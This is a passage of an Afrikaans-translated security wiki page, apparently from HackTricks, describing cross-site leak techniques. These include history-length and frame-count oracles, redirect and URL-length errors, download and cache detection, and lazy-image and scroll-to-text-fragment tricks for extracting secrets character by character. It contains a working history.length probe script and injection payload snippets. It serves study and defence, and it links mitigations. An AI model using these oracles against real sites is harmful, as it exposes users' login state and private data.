Indien 'n bedienerkant-omleiding gebruikersinvoer binne die omleiding en ekstra data gebruik. Dit is moontlik om hierdie gedrag op te spoor omdat gewoonlik bedieners 'n limietversoeklengte het. As die gebruikersdata daardie lengte - 1 is, omdat die omleiding daardie data gebruik en iets ekstra byvoeg, sal dit 'n fout wat deur Foutgebeurtenisse opspoorbaar is, veroorsaak.

Indien jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur genoeg koekies te stel (koekiebom) sodat met die verhoogde grootte van die korrekte respons 'n fout veroorsaak word. In hierdie geval, onthou dat as jy hierdie versoek vanaf dieselfde webwerf aktiveer, <script> sal outomaties die koekies stuur (sodat jy vir foute kan soek). 'n Voorbeeld van die koekiebom + XS-Soek kan gevind word in die Bedoelde oplossing van hierdie uiteensetting: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None of om in dieselfde konteks te wees is gewoonlik nodig vir hierdie tipe aanval.

URL Maksimum Lengte - Kliëntkant

Volgens Chromium-dokumentasie, is Chrome se maksimum URL-lengte 2MB.

In die algemeen het die webplatform nie limiete op die lengte van URL's nie (hoewel 2^31 'n algemene limiet is). Chrome beperk URL's tot 'n maksimum lengte van 2MB vir praktiese redes en om te verhoed dat daar ontkenning-van-diensprobleme in interproseskommunikasie veroorsaak word.

Daarom, as die omleidings-URL wat reageer groter is in een van die gevalle, is dit moontlik om dit om te lei met 'n URL groter as 2MB om die lengte limiet te tref. Wanneer dit gebeur, wys Chrome 'n about:blank#blocked bladsy.

Die opmerkbare verskil is dat as die omleiding voltooi was, gooi window.origin 'n fout omdat 'n kruis-oorsprong nie daardie inligting kan benader nie. Indien die limiet egter bereik is en die gelaai bladsy was about:blank#blocked bly die venster se origin dié van die ouer, wat 'n toeganklike inligting is.

Al die ekstra inligting wat nodig is om die 2MB te bereik, kan bygevoeg word via 'n hekse in die aanvanklike URL sodat dit in die omleiding gebruik sal word.

pageURL Max Length - Client Side

Maksimum Aanwysings

As die maksimum aantal aanwysings wat 'n blaaier moet volg 20 is, kan 'n aanvaller probeer om sy bladsy met 19 aanwysings te laai en uiteindelik die slagoffer na die getoetste bladsy te stuur. As 'n fout geaktiveer word, was die bladsy besig om die slagoffer te aanwys.

Geskiedenislengte

Die Geskiedenis-API laat JavaScript-kode toe om die blaaier se geskiedenis te manipuleer, wat die bladsye wat deur 'n gebruiker besoek is, bewaar. 'n Aanvaller kan die lengte-eienskap gebruik as 'n insluitingsmetode: om JavaScript- en HTML-navigasie te bepaal. Deur history.length te kontroleer, 'n gebruiker te laat navigeer na 'n bladsy, dit terug te verander na dieselfde oorsprong en die nuwe waarde van history.length te kontroleer.

Geskiedenislengte met dieselfde URL

  • Insluitingsmetodes: Raamwerke, Pop-ups

  • Opmerkbare Verskil: As URL dieselfde is as die gerate een

  • Opsomming: Dit is moontlik om te raai of die ligging van 'n raamwerk/pop-up in 'n spesifieke URL is deur die geskiedenislengte te misbruik.

  • Kodevoorbeeld: Onder

'n Aanvaller kan JavaScript-kode gebruik om die raamwerk/pop-up se ligging na 'n gerate een te manipuleer en dit onmiddellik te verander na about:blank. As die geskiedenislengte toegeneem het, beteken dit dat die URL korrek was en dit tyd gehad het om te verhoog omdat die URL nie herlaai word as dit dieselfde is nie. As dit nie toegeneem het nie, beteken dit dat dit geprobeer het om die gerate URL te laai maar omdat ons onmiddellik daarna about:blank gelaai het, het die geskiedenislengte nooit toegeneem toe die gerate URL gelaai is.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Raamteling

Die aantal raamwerke in 'n webbladsy wat geopen word via iframe of window.open kan help om die status van die gebruiker oor daardie bladsy te identifiseer. Verder, as die bladsy altyd dieselfde aantal raamwerke het, kan dit help om deurlopend die aantal raamwerke te kontroleer om 'n patroon te identifiseer wat moontlik inligting kan lek.

'n Voorbeeld van hierdie tegniek is dat in Chrome 'n PDF met raamteling opgespoor kan word omdat 'n embed intern gebruik word. Daar is Open URL Parameters wat 'n mate van beheer oor die inhoud toelaat soos zoom, view, page, toolbar waar hierdie tegniek interessant kan wees.

HTMLElemente

Inligtingslekking deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese mediabestande gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word wat die mediagrootte verander. Dit kan deur aanvallers uitgebuit word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.

Inligting Blootgestel deur HTML Elemente

  • HTMLMediaElement: Hierdie element onthul die media se duration en buffered tye, wat toeganklik is via sy API. Lees meer oor HTMLMediaElement

  • HTMLVideoElement: Dit onthul videoHeight en videoWidth. In sommige webblaaier is addisionele eienskappe soos webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, en webkitDecodedFrameCount beskikbaar, wat meer in-diepte inligting oor die mediainhoud bied. Lees meer oor HTMLVideoElement

  • getVideoPlaybackQuality(): Hierdie funksie verskaf besonderhede oor videoweergawe-kwaliteit, insluitend totalVideoFrames, wat die hoeveelheid videodata wat verwerk is, kan aandui. Lees meer oor getVideoPlaybackQuality()

  • HTMLImageElement: Hierdie element lek die height en width van 'n beeld. Indien 'n beeld ongeldig is, sal hierdie eienskappe 0 teruggee, en die image.decode()-funksie sal verwerp word, wat aandui dat die beeld nie behoorlik gelaai is nie. Lees meer oor HTMLImageElement

CSS Eienskap

Webtoepassings kan die webwerf-styling verander afhangende van die gebruiker se toestand. Kruis-oorsprong CSS-lêers kan op die aanvaller se bladsy ingesluit word met die HTML skakel element, en die reëls sal op die aanvaller se bladsy toegepas word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie verskille identifiseer afhangende van die gebruiker se toestand. As 'n lektegniek kan die aanvaller die window.getComputedStyle-metode gebruik om CSS-eienskappe van 'n spesifieke HTML-element te lees. As gevolg hiervan kan 'n aanvaller arbitrêre CSS-eienskappe lees as die geaffekteerde element en eienskapsnaam bekend is.

CSS Geskiedenis

Volgens hierdie werk dit nie in headless Chrome nie.

Die CSS :visited-selekteerder word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die getComputedStyle()-metode gebruik word om hierdie stylverskille te identifiseer. Moderne webblaaier het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel blootstel. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en die style wat met die :visited-selekteerder toegepas kan word, beperk word.

Ten spyte van hierdie beperkings is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area wat deur CSS beïnvloed word, te interaksioneer, spesifiek deur die mix-blend-mode-eienskap te gebruik. Hierdie eienskap maak die vermenging van elemente met hul agtergrond moontlik, wat moontlik die besoekte toestand kan onthul op grond van gebruikerinteraksie.

Verder kan opsporing sonder gebruikerinteraksie bereik word deur die rendertye van skakels uit te buit. Aangesien webblaaier besoekte en onbesoekte skakels moontlik anders kan rendeer, kan dit 'n meetbare tydverskil in die rendery veroorsaak. 'n Bewys van konsep (PoC) is genoem in 'n Chromium-foutverslag, wat hierdie tegniek demonstreer deur gebruik te maak van verskeie skakels om die tydverskil te versterk, en sodoende die besoekte toestand deur tydanalise waarneembaar te maak.

Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:

Inhoudsdokument X-Frame-lek

In Chrome, as 'n bladsy met die X-Frame-Options-kop ingestel op "ontken" of "selfde-oorsprong" as 'n objek ingesluit word, verskyn 'n foutbladsy. Chrome gee uniek 'n leë dokumentobjek terug (in plaas van null) vir die contentDocument-eienskap van hierdie objek, anders as in iframes of ander webblaaier. Aanvallers kan dit uitbuit deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars onkonsekwent die X-Frame-Options-kop instel, dikwels foutebladsye oorsien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is noodsaaklik om sulke lekke te voorkom.

Aflaaieropsporing

Die Content-Disposition-kop, spesifiek Content-Disposition: attachment, instrueer die blaaier om inhoud af te laai eerder as om dit inlyn te vertoon. Hierdie gedrag kan uitgebuit word om vas te stel of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai veroorsaak. In Chromium-gebaseerde blaaier is daar 'n paar tegnieke om hierdie aflaai-gedrag op te spoor:

  1. Aflaaikennisgewingbalk Monitorering:

  • Wanneer 'n lêer in Chromium-gebaseerde blaaier afgelaai word, verskyn 'n aflaaikennisgewingbalk onder aan die blaaier-venster.

  • Deur veranderinge in die vensterhoogte dop te hou, kan aanvallers aflei wanneer die aflaaikennisgewingbalk verskyn, wat aandui dat 'n aflaai geïnisieer is.

  1. Aflaainavigasie met Iframes:

  • Wanneer 'n bladsy 'n lêeraflaai veroorsaak deur die Content-Disposition: attachment-kop te gebruik, veroorsaak dit nie 'n navigasiegebeurtenis nie.

  • Deur die inhoud in 'n iframe te laai en vir navigasiegebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.

  1. Aflaainavigasie sonder Iframes:

  • Soortgelyk aan die iframe-tegniek, behels hierdie metode die gebruik van window.open in plaas van 'n iframe.

  • Deur navigasiegebeurtenisse in die nuut geopende venster te monitor, kan vasgestel word of 'n lêeraflaai geïnisieer is (geen navigasie) of dat die inhoud inlyn vertoon word (navigasie plaasvind).

In scenario's waar slegs ingeteken gebruikers sulke aflaaie kan veroorsaak, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaier se reaksie op die aflaai-versoek.

Verdeelde HTTP-Kaasbypass

Dit is waarom hierdie tegniek interessant is: Chrome het nou kaasverdeling, en die kaassleutel van die nuut geopende bladsy is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die kaassleutel wees: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), die kaassleutel is anders, sodat die kaas nie gedeel kan word nie. Jy kan meer inligting hier vind: Gaining security and privacy by partitioning the cache (Kommentaar vanaf hier)

As 'n webwerf voorbeeld.com 'n hulpbron vanaf *.voorbeeld.com/hulpbron insluit, sal daardie hulpbron dieselfde kaassleutel hê asof die hulpbron direk deur topvlak-navigasie aangevra is. Dit is omdat die kaassleutel bestaan uit topvlak eTLD+1 en rame eTLD+1.

Omdat toegang tot die kaas vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) na die kansellasie te kanselleer. As die oorsprong verander is na die stop, beteken dit dat die hulpbron gekaas is. Of kan net 'n paar fetch na die moontlik gekaasde bladsy stuur en meet hoe lank dit neem.

Handmatige Aanstuur

Fetch met AbortController

Gebruik fetch en setTimeout met 'n AbortController om beide te bepaal of die hulpbron gekaas is en om 'n spesifieke hulpbron uit die blaaierkaas te verwyder. Verder vind die proses plaas sonder om nuwe inhoud te kaseer.

Skripsie Besoedeling

Dienswerkers

In die gegewe scenario neem die aanvaller die inisiatief om 'n dienswerker binne een van hul domeine, spesifiek "aanvaller.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster op die teikenwebwerf vanuit die hoofdokument en gee die dienswerker opdrag om 'n tydhouer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller na die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die dienswerker bestuur word.

Met die aankoms van die versoek wat in die vorige stap geïnisieer is, reageer die dienswerker met 'n 204 (Geen Inhoud) statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt neem die dienswerker 'n meting van die tydhouer wat vroeër in stap twee geïnisieer is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.

In 'n uitvoertyd is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die bronne wat deur die bladsy gebruik word te laai voordat dit gelaai word.

Ophalingstyd

Kruis-Venster Tydsberekening

Gebruik Trickest om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente. Kry Vandag Toegang:

Met HTML of Herinspuiting

Hier kan jy tegnieke vind om inligting van 'n kruis-oorsprong HTML te eksfileer deur HTML-inhoud in te spuit. Hierdie tegnieke is interessant in gevalle waar om enige rede jy HTML kan inspuit maar jy kan nie JS-kode inspuit nie.

Hangende Opmaak

pageDangling Markup - HTML scriptless injection

Beeld Lui Laai

As jy inhoud moet eksfileer en jy kan HTML vooraf aan die geheime byvoeg, moet jy die gewone hangende opmaak tegnieke nagaan. Maar, as jy om enige rede dit KAN doen karakter vir karakter (miskien is die kommunikasie via 'n tref in die kas) kan jy hierdie truuk gebruik.

Beelde in HTML het 'n "laai" eienskap waarvan die waarde "lui" kan wees. In daardie geval sal die beeld gelaai word wanneer dit besigtig word en nie terwyl die bladsy laai nie:

<img src=/something loading=lazy >

Daarom kan jy 'n hele klomp rommelkarakters byvoeg (Byvoorbeeld duisende "W"s) om die webblad te vul voor die geheime ding of iets soos <br><canvas height="1850px"></canvas><br> by te voeg. Dan, as byvoorbeeld ons inspuiting voor die vlag verskyn, sal die beeld gelaai word, maar as dit die vlag verskyn, sal die vlag + die rommel dit verhoed om gelaai te word (jy sal met die hoeveelheid rommel moet speel). Dit is wat in hierdie skryfstuk gebeur het.

'n Ander opsie sou wees om die scroll-to-text-fragment te gebruik indien toegelaat:

Scroll-to-text-fragment

Nietemin, jy kan die bot toegang tot die bladsy gee met iets soos

#:~:text=SECR

So die webbladsy sal iets soos wees: https://victim.com/post.html#:~:text=SECR

Waar post.html die aanvaller rommel karakters en lui laai beeld bevat en dan die geheim van die bot bygevoeg word.

Wat hierdie teks sal doen is om die bot enige teks op die bladsy te laat toegang wat die teks SECR bevat. Aangesien daardie teks die geheim is en dit net onder die beeld is, sal die beeld slegs laai as die gerate geheim korrek is. So daar het jy jou orakel om die geheim karakter vir karakter te uit te skakel.

'n Paar kodevoorbeelde om hiervan te profiteer: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Beeld Luilaai Tyd Gebaseer

Indien dit nie moontlik is om 'n eksterne beeld te laai wat die aanvaller kan aandui dat die beeld gelaai is nie, sou 'n ander opsie wees om te probeer om die karakter verskeie kere te raai en dit te meet. As die beeld gelaai word, sal al die versoek langer neem as wanneer die beeld nie gelaai word nie. Dit is wat gebruik is in die oplossing van hierdie skryfstuk wat hier saamgevat is:

pageEvent Loop Blocking + Lazy images

ReDoS

pageRegular expression Denial of Service - ReDoS

CSS ReDoS

Indien jQuery(location.hash) gebruik word, is dit moontlik om deur tydsberekening uit te vind of sommige HTML-inhoud bestaan, dit is omdat as die selektor main[id='site-main'] nie ooreenstem nie, hoef dit nie die res van die selektore te kontroleer nie:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Inspruiting

pageCSS Injection

Verdediging

Daar is mitigasies wat aanbeveel word in https://xsinator.com/paper.pdf ook in elke afdeling van die wiki https://xsleaks.dev/. Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

Verwysings

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruik Trickest om maklik te bou en outomatiseer werkstrome aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels. Kry Vandag Toegang:

Last updated